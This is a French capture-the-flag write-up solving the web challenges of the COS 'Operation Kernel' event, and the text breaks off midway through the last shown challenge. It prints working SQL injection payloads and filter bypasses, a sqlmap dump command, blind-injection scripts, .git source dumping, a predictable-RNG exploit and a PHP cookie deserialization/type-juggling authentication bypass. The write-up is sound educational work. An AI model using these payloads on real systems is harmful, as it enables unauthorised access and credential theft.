Un CTF d'exception !
Pour célébrer ses 30 ans d'existence, le Commandement des Opérations Spéciales (COS) françaises a choisi d'organiser un évènement en ligne avec deux parties :
- un Escape Game virtuel orienté grand public qui ne nécessite aucune connaissance technique au préalable
- un CTF avec des challenges dans les catégories web, forensic, crypto, reverse, pwn, stégano et social engineering
L'Escape Game ne peut que plaire avec la formule jeu Point'n Click, avec une réalisation de qualité (cinématiques, énigmes bien ficelées, thématique cyber, faire partie du COS...) et surtout une manière subtile de sensibiliser au monde de la cybersécurité.
Si vous ne l'avez pas encore fait, foncez sans hésitation ! Escape Game
Quant au CTF, il s'agit classiquement de résoudre des épreuves techniques rapportant un certain nombre de points en fonction de la difficulté. Il se distingue cependant clairement par sa forme et son approche !
En effet, les challenges sont extrêmement bien scénarisés (l'intrigue est étroitement liée à celle de l'Escape Game), vous obligeant ainsi à résoudre certains challenges pour débloquer les challenges suivants et ainsi avancer dans l'histoire.
Vous avais-je dit que les vainqueurs gagnent des sauts en parachute avec le COS ? Bref, un format incroyable qu'on espère voir plus souvent !
Dans cet article, on va vous détailler comment résoudre les 9 challenges web de ce CTF. Mettez-vous à l'aise, prenez à boire et suivez le guide !
Liste des challenges web :
- ▲ Research Paper Blog (Facile / 100 points)
- ▲ SQL Project1 (Facile / 100 points)
- ▲ SQL Project2 (Moyen / 200 points)
- ▲ SQL Project3 (Difficile / 200 points)
- ▲ Tenue de soirée requise (Moyen / 200 points)
- ▲ BadPractice (Difficile / 400 points)
- ▲ CCoffe (Difficile / 400 points)
- ▲ Onion Kitten Part 1 (Avancée / 300 points)
- ▲ Onion Kitten Part 2 (Avancée / 300 points)
▲ Research paper blog (Facile / 100 points)
Synopsis :
Nous avons retrouvé l'identité de l'auteure de l'article. Malheureusement nous ne parvenons pas à la localiser.
Cependant, nous avons découvert qu'elle voyage beaucoup pour participer à diverses conférences et elle est certainement en route vers l'une d'elle.
Sur son site, il est fort probable que l'on puisse accéder à certaines informations qui ne sont pas publiques et qui nous permettraient de savoir quelle est sa prochaine destination.
Lien :
https://paperblog.challenge.operation-kernel.fr
Ce premier challenge web apparait après avoir résolu un challenge forensic qui consistait à retrouver le nom et le prénom de l'auteure grâce aux métadonnées du PDF.
L'objectif de cette première épreuve web est simple : trouver une information qui n'est pas disponible à première vue sur le blog de Lise MITENER.
Quand on clique sur un article, c'est en réalité un PDF qui est affiché à l'adresse /paper/<identifiant numérique>
.
Le fait que l'on soit face un identifiant numérique facilement enumérable nous fait directement penser à une IDOR (Insecure Direct Object References). S'il n'y a pas de contrôle d'accès mis en place, il est trivial d'incrémenter l'identifiant des papers jusqu'à arriver sur un article qui n'aurait pas encore été publié sur le blog.
Et c'est ce qui se produit quand on accède au paper 14 : https://paperblog.challenge.operation-kernel.fr/paper/14
.
Flag :
HACK{Excelsior_Polonium_5E45F6a}
▲ SQL Project1 (Facile / 100 points)
L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus sécurisés de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation...
Vous devez essayer de vous connecter sur le compte admin du site en contournant la sécurité.
Lien :
https://secureblog.challenge.operation-kernel.fr/v1/
Cette épreuve fait partie d'une série de trois challenges autour des injections SQL. En allant sur le challenge, on arrive sur le "Awesome Ultra Secure Blog v1" où tout est en construction (comprendre vide) hormis la page d'authentification.
On est tenté de se dire qu'on est face au cas classique du ' OR 1=1 -- -
permettant de contourner l'authentification et qu'on retrouve dans toutes les cheatsheets SQLi. Et c'est le cas ! Sauf que...
Nous sommes authentifiés sous le compte demo
. Or nous souhaiterions plutôt être connecté sous le compte admin
. Si on devait deviner à quoi ressemble la requête SQL qui permet l'authentification sur l'application, elle devrait ressembler à ça :
SELECT login FROM users WHERE login = '$_POST["username"]' AND password = '$_POST["password"]'
Lorsqu'on utilise la payload ' OR 1=1-- -
, cela équivaut à :
SELECT login FROM users WHERE login = '' OR 1=1 -- -' AND password = '$_POST["password"]'
Cette requête va retourner toutes les lignes de la table users
étant donné que la condition login = '' OR 1=1
sera toujours vraie. Et on commente le reste de la requête SQL avec -- -
pour qu'elle ne soit pas prise en compte. Une fois que l'application a récupéré ces résultats, elle va selectionner le premier login... ici, le compte demo
.
Le description du challenge nous demande de se connecter en tant qu'un admin, on peut donc essayer la payload admin' -- -
...
Flag :
HACK{B3-C4r3Ful_W1th_AUthentiC4tION}
Pour aller un peu plus loin, de nombreuses payloads sont possibles pour résoudre ce challenge, en voici quelques unes :
' OR 1=1 LIMIT 1,1# permet de sélectionner le résultat suivant en jouant sur l'offset de la clause LIMIT
' OR id = 2#
' OR username LIKE '%admin%' -- x
Question bonus 1 : Pourquoi lorsqu'on utilise le commentaire --
dans les injections SQL, il est nécessaire d'ajouter un espace ?
Réponse
RTFM ! https://dev.mysql.com/doc/refman/5.7/en/comments.html
In MySQL, the -- (double-dash) comment style requires the second dash to be followed by at least one whitespace...
Question bonus 2 : quelle est la payload pour récupérer le flag sans utiliser de commentaire ?
Réponse
Avec la payload suivante : admin' OR '1'='1
▲ SQL Project2 (Moyen / 200 points)
Suite à un incident de sécurité, il n'est pour le moment plus possible de s'authentifier. Veuillez nous excuser pour la gêne occasionnée.
Lien :
https://secureblog.challenge.operation-kernel.fr/v2/
Sur cette deuxième version du blog, la page de connexion est désactivée mais des articles sont désormais disponibles !
En consultant l'article "Les démons de Wifi" (incroyable la référence musicale <3), on note l'URL qui comporte un paramètre numérique : /v2/post.php?id=3
. On essaie tout de suite une injection classique sur le paramètre id
avec la payload OR 1=1 -- -
.
Bon, il semblerait que notre injection soit détectée... On pourrait essayer de voir quels sont les caractères ou mots-clés interdits par l'application (ou un WAF) à la main, mais autant écrire un script Python pour le faire à notre place très rapidement :
import requests
to_test = [ "SELECT", "FROM", "AND", "OR", "WHERE", "LIKE", "ALL", "UNION", "ORDER", "BY", "ASC", "DESC"]
to_test += [chr(i) for i in range(128)]
forbidden = []
url = "https://secureblog.challenge.operation-kernel.fr/v2/post.php"
for keyword in to_test:
params = { "id": keyword }
r = requests.get(url, params=params)
if ("has been detected" in r.text):
forbidden.append(ascii(keyword))
print("Forbidden : " + ' '.join(forbidden))
$> python3 sqli_illegal_str.py
Forbidden : '\t' '\n' '\x0b' '\x0c' '\r' ' ' '"' '#' "'" '-'
On remarque que les espaces et guillemets sont interdits... ainsi que les caractères -
et #
utilisés pour commenter le reste d'une requête SQL.
En utilisant son moteur de recherche préféré, on cherche une cheatsheet de techniques de contournement contre les filtrages SQL. J'ai utilisé celle de HackTricks.
Un moyen de contournement est l'utilisation d'autres caractères de commentaires permettant de remplacer les espaces : /*COMMENT*/
. Le paramètre id
de la requête est de type numérique, donc il y a fort à parier que la requête SQL initiale ressemble à ceci :
SELECT * FROM articles WHERE id = 3
Nous n'aurions donc pas besoin d'utiliser les guillemets pour sortir du paramètre id. Faisons deux tests :
https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=3/**/AND/**/1=1/**/
=> l'article s'affiche correctement
https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=3/**/AND/**/1=0/**/
=> erreur 404
Notre injection n'est pas détectée et fonctionne ! Nous pourrions écrire un script pour automatiser tout ça car nous sommes face à une injection SQL en aveugle (boolean-based)... Mais je suis fainéant et l'outil sqlmap le fait très bien, surtout qu'il embarque des options pratiques dans notres cas. Lançons-le !
$> sqlmap -u 'https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=1' --random-agent --technique=B --tamper=space2comment --threads=4 --ignore-code 401 -T user --dump
Database: challv2
Table: user
[4 entries]
+----+------------------------------------------+----------+
| id | password | username |
+----+------------------------------------------+----------+
| 1 | demo | demo |
| 2 | St0nnngP444Sw000Rdddd:D!!!! | test |
| 3 | HACK{S3cuRE_Y0uR_1nPUt} | admin |
| 4 | Vm91cyB5IGV0ZXMgcHJlc3F1ZSBjb3VyYWdlICEK | Dramelac |
+----+------------------------------------------+----------+
Explications des options utilisés :
--random-agent
: permet de ne pas envoyer le User-Agent de sqlmap qui est bloqué par les WAFs en utilisant un User-Agent valide aléatoire--technique=B
: demande à sqlmap d'utiliser la technique Boolean-Based pour les injections--tamper=space2comment
: utilise la technique de remplacement des espaces par des commentaires--threads=4
: utilise 4 connexions simultanées pour accélerer les injections--ignore-code 401
: ne pas arrêter l'exécution de sqlmap lors de réponse avec le code HTTP 401-T user
: sélectionner la table user--dump
: dumper les données
Et tadaa, on a bien récupéré le flag qui était le mot de passe de l'administrateur.
Flag :
HACK{B3-C4r3Ful_W1th_AUthentiC4tION}
▲ SQL Project3 (Difficile / 400 points)
Lien :
https://secureblog.challenge.operation-kernel.fr/v3/
Comme sur SQL Project2, nous avons un blog avec des articles, et un filtrage plus strict a ici été effectué sur le paramètre id
.
$> curl 'https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=1/**/AND/**/1=1/**/'
ATTACK DETECTED
On modifie légèrement le script que nous avons développé dans SQL Project2 pour lister les caratères et mots-clé interdits :
$> python3 sql_illegal_str.py
Forbidden : 'SELECT' 'FROM' 'WHERE' 'LIKE' 'UNION' 'ORDER' '\t' '\n' '\x0b' '\x0c' '\r' ' ' '"' '#' "'" '*' '-' '/' '=' '\\'
Ah oui, ça se corse !
- Les espaces sont interdits et bye bye la technique de contournement via les commentaires
/**/
pour les remplacer. - On ne peut pas utiliser l'opérateur de comparaison
=
. - Certains mots-clés importants du langage SQL tels quel
SELECT
etWHERE
sont interdits. Même en jouant sur la casse avec par exempleSeLEct
, on ne peut pas contourner ce filtrage avec cette technique.
Comment faire alors ? On ressort notre bonne vieille cheatsheet sur le bypass des filtres.
Le premier blocage, celui des espaces, est contournable en entourant les valeurs par des parenthèses, comme ceci :
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(true)
=> l'article 1 s'affiche
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(false)
=> 404, page not found
On a une première injection qui fonctionne !
Le blocage de l'opérateur de comparaison =
se contourne en combinant l'opérateur différent <>
et l'opérateur NOT
. Les requêtes SQL suivantes sont équivalentes :
SELECT * FROM article WHERE id = 1 AND 1=1
SELECT * FROM article WHERE id = 1 AND NOT(1<>1)
On teste immédiatement sur le blog :
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(NOT(1<>1))
=> article 1 retourné
Reste la restriction sur les mots clés SELECT
, UNION
, FROM
et WHERE
qu'on utilise généralement pour récupérer les données des autres tables. Par chance, dans le cas de la requête SQL utilisée pour retrouver les informations d'un article du blog, ce n'est pas nécessaire... *petit suspense*
Nous avions vu que dans les challenges SQL précédents, le flag était stocké dans la colonne password
du compte admin. On peut essayer de voir si cette colonne est accessible dans le contexte de la requête SQL effectuée par le blog.
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(nom_colonne<>42)
Si la colonne nom_colonne
n'existe pas ou est inaccessible, la requête SQL sera erronée et le site renverra donc un page 404. Sinon, l'article avec le id=1
s'affichera. Et dans l'exemple ci-dessus, le blog retourne effectivement une page 404...
Essayons désormais avec comme nom de colonne password
:
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(password<>42)
=> l'article 1 est affiché !
Cela signifie que la colonne password
est accessible et que nous pouvons potentiellement faire des injections pour récupérer son contenu. Mais, pourquoi la colonne password
de la table user
est disponible dans la table article
?
Probalement grâce à l'utilisation d'une jointure. En effet, quand on regarde un article, on voit qu'il y a plusieurs informations qui sont affichées, notamment le nom d'utilisateur de l'auteur. Le développeur aurait très bien pu stocker le nom de l'auteur directement dans la table article
, mais ce n'est pas très pratique... Si on devait changer le nom de l'utilisateur, il faudrait mettre à jour toute la table article
.
L'utilisation d'une jointure entre la table article
et user
permet de pallier ce problème. On suppose que la requête ressemble à peu près à ceci :
SELECT *
FROM article
JOIN user ON article.user_id = user.id
WHERE article.id = 1
On peut même le vérifier en utilisant user.password
dans notre requête (spoiler alert: ça fonctionne) :
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(user.password<>42)
Nous avons à peu près tout ce qu'il nous faut pour mener à bien nos injections... Reste à savoir si le flag est vraiment dans la colonne password
. Pour cela, on peut vérifier si les 5 premiers caractères de la colonne password
sont égaux à la chaine HACK{
:
- en utilisant la fonction
SUBSTRING
qui permet d'extraire une sous-chaine - comme les guillements sont interdits, on peut utiliser la représentation hexadécimale d'une chaine de caractères :
0x4841434B7B
(équivalent de la chaine "HACK{")
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(0)OR(NOT(SUBSTRING(password,1,5)<>0x4841434B7B))
Un article nous est retourné ce qui signifie plusieurs choses :
- il y a bien un mot de passe qui commence par
HACK{
- l'article "How I met your locker" (on en parle de ces jeux de mots incroyables ?!) écrit par le compte
admin
est affiché, c'est son mot de passe qui commence parHACK{
Il nous reste qu'à scripter notre injection en récupérant le contenu de la colonne password
caractère par caractère.
Dernière chose avant de s'y mettre, il faut savoir que lorsqu'on compare des chaines avec Mysql, le résultat peut être trompeur en fonction de la collation utilsée lors de la création de la base. Par exemple, si l'encodage de la BDD est utf8_general_ci
, la collation ci
(case insenstive) signifie que les comparaisons ne sont pas sensibles à la casse et donc la comparaison "hello" = "HELLO
sera toujours vraie.
C'est pour cela qu'on utilise la fonction ASCII
qui va permettre de comparer le valeur décimale ASCII de chaque caractère et ainsi récupérer la casse exacte du flag :
Script PHP (why not ? déso pas déso aux personnes *triggered*) pour automatiser l'injection SQL :
<?php
$flag = "HACK{";
$chars = range('!', '~');
while(true) {
shuffle($chars);
$index = strlen($flag)+1;
foreach ($chars as $c) {
$ascii = ord($c);
$url = "https://secureblog.challenge.operation-kernel.fr";
$url .= "/v3/post.php?id=(2)AND(NOT(ASCII(SUBSTRING(password,$index,1))<>$ascii))";
echo "Searching : $flag$c\r";
if (strpos(@file_get_contents($url), 'How I met your locker') !== false) {
$flag .= $c;
break;
}
}
if ($flag[-1] === '}')
die("Done ! Flag : $flag\n");
}
Flag :
HACK{GG_SQLi-M1Ght_B3_Hidden!}
Question bonus : Pourquoi utiliser un shuffle()
sur le tableau de caractères à tester ?
Réponse
Les lettres du flag ne sont pas forcément au début de l'alphabet. Il n'y a donc aucun intérêt à les tester dans l'ordre A, B, C... Tester les caractères dans un ordre aléatoire permet de miser sur la chance de l'aléatoire pour gagner du temps. Ici, l'intérêt est relativement limité car le flag n'est pas très long, mais cela peut servir dans des situations où la chaîne de caractères à découvrir est plus longue.
Bonus Hors-Sujet
Gros coup de coeur pour l'effort des personnes qui ont pris le temps de créer ce blog avec autant d'humour. Voici quelques jeux de mot et références incroyables qu'on pouvait lire dans les titres des articles :
- How I met your locker
- Les démons de Wifi
- Maladie informatiquement transmissible
- Faut pas pousser mémé dans l’azerty
- Le casse du siècle
- Indata Jones et la sauvegarde perdue
- Le formulaire d’authentification contre-attaque
- Donner ses données les reprendre c’est RGPD
- Le bon, la brute et le sous-traitant
▲ Tenue de soirée requise (Moyen / 200 points)
Dans le fichier excel, une cible importante est liée à un lien vers une loterie. Cette loterie permet au gagnant d'accéder à une soirée VIP. Nous supposons que la cible sera présente à cet événement.
Nous devons gagner cette loterie afin de pouvoir prendre contact avec elle.
Si nous parvenons à récupérer l'algorithme de génération de la loterie, nous pouvons gagner à coup sûr.
Lien :
https://subscription.challenge.operation-kernel.fr/public
Ce challenge fait partie de l'histoire principale où il faut s'infiltrer à une soirée. Pour avoir son billet d'entrée, il faut jouer à une loterie. Après quelques tentatives, il est clair que les probabilités de gagner semblent être infimes pour laisser le hasard faire les choses.
Le challenge nous suggère de récupérer l'algorithme de la loterie, et pour cela il y a fort à parier qu'il faille récupérer le code source.
En allant sur https://subscription.challenge.operation-kernel.fr/.git/config
, nous avons les informations suivantes qui apparaissent :
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
Cela signifie que le dossier de versioning a été laissé sur le site. Il va nous permettre de récupérer le code source de l'application grâce à un outil tel que GitHack :
$> python3 GitHack.py https://subscription.challenge.operation-kernel.fr/.git/
...
[OK] app/Http/Middleware/EncryptCookies.php
[OK] app/Http/Controllers/Auth/RegisterController.php
[OK] app/Http/Middleware/CheckForMaintenanceMode.php
[OK] app/Http/Controllers/GameController.php
[OK] app/Http/Controllers/Auth/VerificationController.php
[OK] app/Http/Middleware/VerifyCsrfToken.php
[OK] app/Http/Middleware/TrimStrings.php
[OK] app/Http/Middleware/RedirectIfAuthenticated.php
[OK] app/Process/GameProcess.php
[OK] app/Http/Middleware/TrustProxies.php
[OK] app/Http/Requests/GameRequest.php
...
En analysant le code source, on comprend qu'on a affaire à une application écrite avec le framework Laravel. On s'intéresse directement à la partie loterie du site.
Fichier app/Http/Controllers/GameController.php
:
// ...
class GameController extends Controller
{
public function postForm(GameRequest $request, GameProcess $gameprocess, TicketProcess $ticket){
$t = $gameprocess->play($_POST['name'], $_POST['number']);
$data = $t ? $ticket->generate($_POST['name']) : false ;
return view("result")->with('res', $t)->with('data',$data);
}
}
La classe GameController
est le controller qui va vérifier les données envoyées pour la loterie. Le résultat de la loterie est retourné par l'appel à la méthode $gameprocess->play()
qui se trouve dans le fichier app/Process/GameProcess.php
.
<?php
namespace App\Process; class GameProcess { private function nmqrF($AvWAj) { goto NMXgZ; kv5ou: p1w0G: goto V_tm7; t4VRF: $tqGDw .= chr(hexdec($AvWAj[$VP0PR] . $AvWAj[$VP0PR + 1])); goto Fdr8h; GMqtF: $VP0PR += 2; goto VhseN; NMXgZ: $tqGDw = ''; goto X18sW; Fdr8h: GT1Ly: goto GMqtF; DZx0E: N4u_P: goto IzKaq; VhseN: goto p1w0G; goto DZx0E; IzKaq: return $tqGDw; goto RySOT; X18sW: $VP0PR = 0; goto kv5ou; V_tm7: if (!($VP0PR < strlen($AvWAj) - 1)) { goto N4u_P; } goto t4VRF; RySOT: } private function wCIA1($WepPf) { goto nf131; nf131: $SXEXN = ''; goto nr2M7; BsNwA: return $SXEXN; goto QOXZt; nr2M7: foreach (str_split($WepPf) as $COwbt) { $SXEXN .= ord($COwbt); WOo5D: } goto tRNjZ; tRNjZ: LQt0G: goto BsNwA; QOXZt: } private function kQzio($FwST2) { goto HUqWd; HUqWd: eval($this->nmqrF("6576616C286261736536345F6465636F646528274A485A50524870454944306764476C745A5367704943306764476C745A536770494355674E54733D2729293B")); goto ANV5w; f4E_x: return $G11Pq; goto ykALq; Yj9IR: $G11Pq = $G11Pq ^ $FwST2; goto f4E_x; ANV5w: $FwST2 = $FwST2 ^ $vODzD; goto KrQAb; hoFT1: $G11Pq = mt_rand(); goto Yj9IR; KrQAb: mt_srand($FwST2); goto hoFT1; ykALq: } public function play($su92R, $nmBvo) { goto u1lv6; xC0KB: return false; goto TeXZe; XU62G: return true; goto HquGL; HquGL: GxqFf: goto xC0KB; e4Wxp: $kx4Dd = $this->kQzio($FwST2); goto JYFjT; u1lv6: $FwST2 = $this->wCIA1($su92R); goto e4Wxp; JYFjT: if (!(intval($kx4Dd) === intval($nmBvo))) { goto GxqFf; } goto XU62G; TeXZe: } }
Oula ! Il semblerait que ce fichier soit obfusqué avec des noms de variables incompréhensibles et des goto
dans tous les sens... Il est possible de démêler tout ce code à la main, mais autant utiliser un outil qui le ferait pour nous : PHPDeobfuscator.
$> php index.php -f GameProcess.php > GameProcess_readable.php
L'analyse du code source peut commencer :
<?php
namespace App\Process;
class GameProcess
{
private function nmqrF($AvWAj)
{
$tqGDw = '';
$VP0PR = 0;
p1w0G:
if (!($VP0PR < strlen($AvWAj) - 1)) {
return $tqGDw;
}
$tqGDw .= chr(hexdec($AvWAj[$VP0PR] . $AvWAj[$VP0PR + 1]));
$VP0PR += 2;
goto p1w0G;
}
private function wCIA1($WepPf)
{
$SXEXN = '';
foreach (str_split($WepPf) as $COwbt) {
$SXEXN .= ord($COwbt);
}
return $SXEXN;
}
private function kQzio($FwST2)
{
eval($this->nmqrF("6576616C286261736536345F6465636F646528274A485A50524870454944306764476C745A5367704943306764476C745A536770494355674E54733D2729293B"));
$FwST2 ^= $vODzD;
mt_srand($FwST2);
$G11Pq = mt_rand();
$G11Pq ^= $FwST2;
return $G11Pq;
}
public function play($su92R, $nmBvo)
{
$FwST2 = $this->wCIA1($su92R);
$kx4Dd = $this->kQzio($FwST2);
if (!(intval($kx4Dd) === intval($nmBvo))) {
return false;
}
return true;
}
}
Ce fichier n'est pas encore assez clair à mon goût, du coup on va encore le remanier en supprimant le code inutile, le simplifier au maximum et donner des noms plus parlants aux méthodes et aux variables :
<?php
class GameProcess
{
private function stringToAsciiCode($str)
{
$res = '';
foreach (str_split($str) as $char) {
$res .= ord($char);
}
return $res;
}
private function genFakeRand($value)
{
eval('$time = time() - time() % 5;');
$value ^= $time;
mt_srand($value);
$rand = mt_rand();
$rand ^= $value;
return $rand;
}
public function play($name, $number)
{
$name_ascii = $this->stringToAsciiCode($name);
$rand_val = $this->genFakeRand($name_ascii);
if (!(intval($rand_val) === intval($number))) {
return false;
}
return true;
}
}
Voilà qui est bien mieux ! On en déduit ainsi l'algorithme de loterie qui est le suivant :
- le nom envoyé via
$_POST['name']
est transformé en code ASCII et stocké dans la variable$name_ascii
(par exemple 'ABC' devient '656667') $name_ascii
est utilisé dans la méthodegenFakeRand()
pour initialiser le générateur de nombre aléatoire.$name_ascii
est couplé avec la valeur$time
correspondant à un timestamp qui change toutes les 5 secondes ($time = time() - time() % 5;
)- si la valeur
$rand_val
retournée par la méthodegenFakeRand()
est égale à la valeur$number
envoyée par l'utilisateur via$_POST['number']
, alors on a remporté la loterie.
On créé une méthode getRand()
similaire à la méthode play()
mais qui retourne uniquement la valeur $rand_val
. Cela va nous permettre de copier la valeur retournée par notre script et devenir le pro du ALT+TAB en collant cette valeur en moins de 5 secondes dans le formulaire.
<?php
class GameProcess
{
private function stringToAsciiCode($str)
{
$res = '';
foreach (str_split($str) as $char) {
$res .= ord($char);
}
return $res;
}
private function genFakeRand($value)
{
eval('$time = time() - time() % 5;');
$value ^= $time;
mt_srand($value);
$rand = mt_rand();
$rand ^= $value;
return $rand;
}
public function getRand($name)
{
$name_ascii = $this->stringToAsciiCode($name);
$rand_val = $this->genFakeRand($name_ascii);
return $rand_val;
}
}
$game_process = new GameProcess();
$rand_val = 0;
while (true) {
$new_rand = $game_process->getRand('Maaaaaaaaaarc');
if ($new_rand !== $rand_val) {
$rand_val = $new_rand;
echo "$rand_val\n";
}
}
Après quelques tentatives, on finit par gagner la loterie et on récupère le code QR qui contient le flag.
Démonstration de mon skill clavier/souris après des années d'expérience sur CS 1.6 :
Flag :
HACK{Y0uC4nNowG0toE4t}_Maaaaaaaaaarc
▲ BadPractice (Difficile / 400 points)
Même les hackers ont besoin de faire de la gestion de projet ! Ce site internet semble suivre l'avancée globale de leur mission. A vous de trouver le plus d'informations possibles.
Vous devez vous connecter à ce site avec un compte privilégié.
Lien :
https://practice.challenge.operation-kernel.fr/
On fait face à une application qui permet de créer un compte temporaire sur une application de type dashboard le temps d'une démonstration. Dans le formulaire de création de compte, il y a l'option "remember me" pour rester connecté indéfiniment sur l'application, même si la session expire :
On remarque que cocher cette case génère les cookies suivants :
Set-Cookie: PHPSESSID=pm9sonh3vubbqlflcd2lm2ldlp; path=/; secure
Set-Cookie: remember=YTozOntzOjg6InVzZXJuYW1lIjtzOjU6InBvdWV0IjtzOjg6InBhc3N3b3JkIjtzOjY0OiI4MTk5MzY0NjRiYzI0NmNiOWY1MzNkZDUxMGQ3MjlmZjA3ZjhiODU4OTBjNTI5ZWYyNmI0ZDY3MzMyMjIzNzA0IjtzOjQ6InJvbGUiO3M6NDoiRGVtbyI7fQ%3D%3D
Tout de suite on remarque qu'il n'y a pas les flags HttpOnly dans les cookies et que c'est complètement inadmissible ! *Spoiler : ça ne servira à rien pour ce challenge...*
Mon oeil affuté de hacker me permet surtout de remarquer, sans même utiliser la recette magic de CyberChef, que le cookie remember
semble être encodé en base64. On décode ça vite fait bien fait pour voir si son contenu est intéressant:
$> echo -n "YTozOntzOjg6InVzZXJuYW1l<...>6InJvbGUiO3M6NDoiRGVtbyI7fQ==" | base64 -d
a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}
Ce format... cette syntaxe... serait-ce possible... Oui oui oui, un objet PHP sérialisé ! Et pas la peine d'arrêter la lecture parce que vous avez vu le mot PHP ; PHP > all
.
Comme dans pas mal de langages de programmation, il est possible d'exporter une variable en un format stockable assez simple pour l'importer ultérieurement. En PHP, cela passe par les fonctions serialize()
et unserialize()
. Quel est le contenu de la chaine une fois désérialisé ?
$> php -a
Interactive mode enabled
php > $remember = unserialize('a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}');
php > var_dump($remember);
array(3) {
["username"]=>
string(5) "pouet"
["password"]=>
string(64) "819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704"
["role"]=>
string(4) "Demo"
}
La désérialisation nous a retourné un tableau avec trois clés :
username
: le nom de compte utilisé pour la connexion à l'applicationpassword
: le mot de passe hashé en SHA-256. Note: un bon HackTheBox est offert à la première personne qui nous contacte sur twitter avec le mot de passe en clairrole
: le niveau de profil de l'utilisateur
Quand on est face aux vulnérabilités liées à la désérialisation, on pense à certaines pistes telles que l'exécution de code, la manipulation des données (comme le fait de mettre le rôle à admin
), etc... Mais cela ne semble pas être l'objectif de ce challenge.
En fuzzant un peu sur les variables, on peut par exemple essayer de modifier le type de password
, sérialiser notre variable, l'encoder en base64, la réinjecter dans le cookie remember
et voir le monde exploser ce qui va se passer :
$> php -a
Interactive mode enabled
php > $remember = unserialize('a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}');
php > // plein de tests sur les types
php > // ...
php >
php > // password est désormais un booléen
php > $remember["password"] = true;
php > echo serialize($remember);
a:3:{s:8:"username";s:5:"pouet";s:8:"password";b:1;s:4:"role";s:4:"Demo";}
php >
php > // password est désormais un tableau
php > $remember["password"] = [];
php > echo serialize($remember);
a:3:{s:8:"username";s:5:"pouet";s:8:"password";a:0:{}s:4:"role";s:4:"Demo";}
Lorsque password
est sérialisé en tant que booléen true, l'application n'accepte pas notre cookie remember
et on est redirigé vers une page d'erreur :
Mais quand password
est un tableau, on s'authentifie avec succès à notre compte !
Pourquoi ce changement de type a permis le contournement de l'authentification ? Pour le comprendre, il faut essayer d'imaginer le code de l'application :
<?php
$remember = unserialize(base64_decode($_COOKIE["remember"]));
$user_info = getUser($remember["username"]); // on récupére les informations concernant notre compte depuis une BDD, LDAP, peu importe...
if (strcmp($user_info["password"], $remember["password"]) == 0) {
// mots de passe identiques
}
else {
// mot de passe incorrect
}
Dans ce code supposé de l'application concernant l'authentification, le password
envoyé via notre objet sérialisé est comparé au mot de passe réel de l'utilisateur grâce à la fonction strcmp(). Cette fonction retourne 0
si les deux chaines sont identiques. Mais que retourne-t-elle quand les deux paramètres sont de type différents ?
$> php -a
Interactive mode enabled
php > var_dump(strcmp("819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704", []));
PHP Warning: strcmp() expects parameter 2 to be string, array given in php shell code on line 1
NULL
On a un avertissement qui nous informe que le deuxième paramètre, celui qu'on a envoyé via notre objet sérialisé, est un tabeau au lieu d'une chaine de caractères. Et la fonction strcmp()
nous retourne alors NULL
.
Et si NULL == 0
... bienvenue dans le monde magnifique du "loose comparaison" !
$> php -a
Interactive mode enabled
php > var_dump(NULL == 0);
bool(true)
L'opérateur ==
en PHP n'est pas très strict, il est même très souple. Cela est d'ailleurs très bien illustré dans la documentation officielle ("Loose comparisons with ==") avec ce tableau résumant les comparaisons entre types :
Ce tableau explique que si on utilise l'opérateur ==
pour comparer NULL
avec le booléen false
, l'entier 0
, une chaine vide ou encore un tableau, le résultat sera toujours true
!
Là on se dit que c'est plié, on va flag le challenge sous 30 secondes maintenant car il suffit de se connecte avec l'utilisateur admin
en mettant à jour notre objet sérialisé.
On est effectivement bien connecté sur l'application ! Mais c'est un compte temporaire... N'importe qui pouvait créer un compte admin
(bravo les trolls !). Il fallait en réalité trouver le nom d'utilisateur du vrai administrateur qui se trouvait dans la page de contact.
Cette fois-ci, ça devrait être bon ! On a le nom d'utilisateur Aku
, allons gentillement nous connecter.
Toujours pas ! On a l'erreur "Incorrect username or password" alors qu'on est sûr que notre méthode pour contourner l'authentification fonctionne.
La vie est cruelle mais il y a toujours une solution. Vous vous rappelez de notre objet sérialisé ? Il y avait dans le tableau trois entrées : username
, password
et role
. On n'a pas encore bidouillé le role
. Le premier réflexe serait de tester les valeurs Admin
, Administrator
ou encore LaisseMoiFlagStp
mais sans succès. Essayons de reprendre le code "supposé" de l'application et imaginer la partie liée au rôle de l'utilisateur :
<?php
$remember = unserialize(base64_decode($_COOKIE["remember"]));
$user_info = getUser($remember["username"]); // on récupére les informations concernant notre compte depuis une BDD, LDAP, peu importe...
if (strcmp($user_info["password"], $remember["password"]) == 0) {
// mots de passe identiques
if ($user_info["role"] == $remember["role"]) {
// le rôle reçu a bien le même intitulé que celui attribué au compte
}
else {
// role incorrect
}
}
else {
// mot de passe incorrect
}
Il suffirait que le rôle de l'utilisateur Aku
ait une valeur particulière (Chocolatineur
par exemple) et il serait très difficile de la deviner. Et si on avait de nouveau affaire à une "loose comparaison" ? Cela signifierait que dans le cas de role
, il faudrait comparer une chaine de caractère et le booléen true
pour que le résultat soit vrai.
On regénère la payload depuis le début :
$> php -a
Interactive mode enabled
php > $remember = [];
